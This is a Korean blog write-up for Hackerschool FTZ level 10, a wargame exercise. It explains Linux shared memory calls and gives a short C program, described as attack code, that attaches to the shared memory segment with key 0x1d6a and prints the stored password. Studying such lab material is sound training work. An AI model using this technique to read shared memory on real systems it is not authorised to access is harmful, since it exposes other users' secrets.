1. 풀이
- 7530을 key로 가지는 공유메모리의 값을 읽어야 하는 문제로 판단됨.
공유메모리
- 여러 프로그램이 메모리를 공유
- 공유한 메모리를 통해 데이터를 주고 받음
- 명령 : ipcs
- ipcs 명령으로 공유메모리를 확인해보면 0x00001d6a(10진수 7530)를 key로 가지는 공유메모리가 확인됨
- 공유메모리 관련 함수
① shmget(key_t key, int size, int shmflg) : 공유메모리 생성 또는 생성된 공유메모리 사용
- key_t key : 공유메모리를 읽기 위한 key 변수
- int size : 공유 메모리의 크기
- int shmflg : 공유메모리 생성이나 사용 옵션을 지정
=> IPC_CREAT : 공유메모리가 없을 경우 생성, 이미 존재한다면 접근권한 명시
=> IPC_EXCL : 공유메모리가 이미 있다면 실패로 반환하고 공유메모리에 접근 불가능
② shmat(int shmid, const void xshmaddr, int shmflg) : 이미 할당된 공유메모리 공간을 다른 프로세스에서 사용할 수 있게 권한 부여
- int shmid : 공유메모리를 생성할 때 만들어진 공유메모리의 ID
- const void xshmaddr : 공유메모리가 할당 된 주소
- int shmflg : 공유메모리 사용 옵션
=> SHM_RDONLY : 읽기 전용
=> SHM_RND : 공유 메모리 주소를 프로세스에 맞게 따로 할당
③ shmdt(const void xshmaddr) : 프로세스와 공유메모리공간의 연결 종료
- const void xshmaddr : 공유메모리가 할당 된 주소
- 위 함수를 사용한 공격코드 작성 후 컴파일하여 실행 시 비밀번호 확인이 가능함
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
int main(int argc, char **argv) {
key_t key;
int shmid;
void *shmbuf;
char buf[1028];
key = 0x1d6a; // 7530
shmid = shmget(key, 1028, 0);
shmbuf = shmat(shmid, NULL, 0);
printf("%s\n", shmbuf);
system("ipcs -m");
shmdt(shmbuf);
return 0;
}
출처 : https://domdom.tistory.com/entry/FTZ-level10-%EB%AC%B8%EC%A0%9C%ED%92%80%EC%9D%B4Writeup-%ED%95%B4%EC%BB%A4%EC%8A%A4%EC%BF%A8Hackerschool
'문제풀이 > FTZ' 카테고리의 다른 글
FTZ Level12 풀이 (0) | 2022.10.31 |
---|---|
FTZ Level11 풀이 (0) | 2022.10.31 |
FTZ Level9 풀이 (1) | 2022.10.30 |
FTZ Level8 풀이 (0) | 2022.10.30 |
FTZ Level7 풀이 (0) | 2022.10.28 |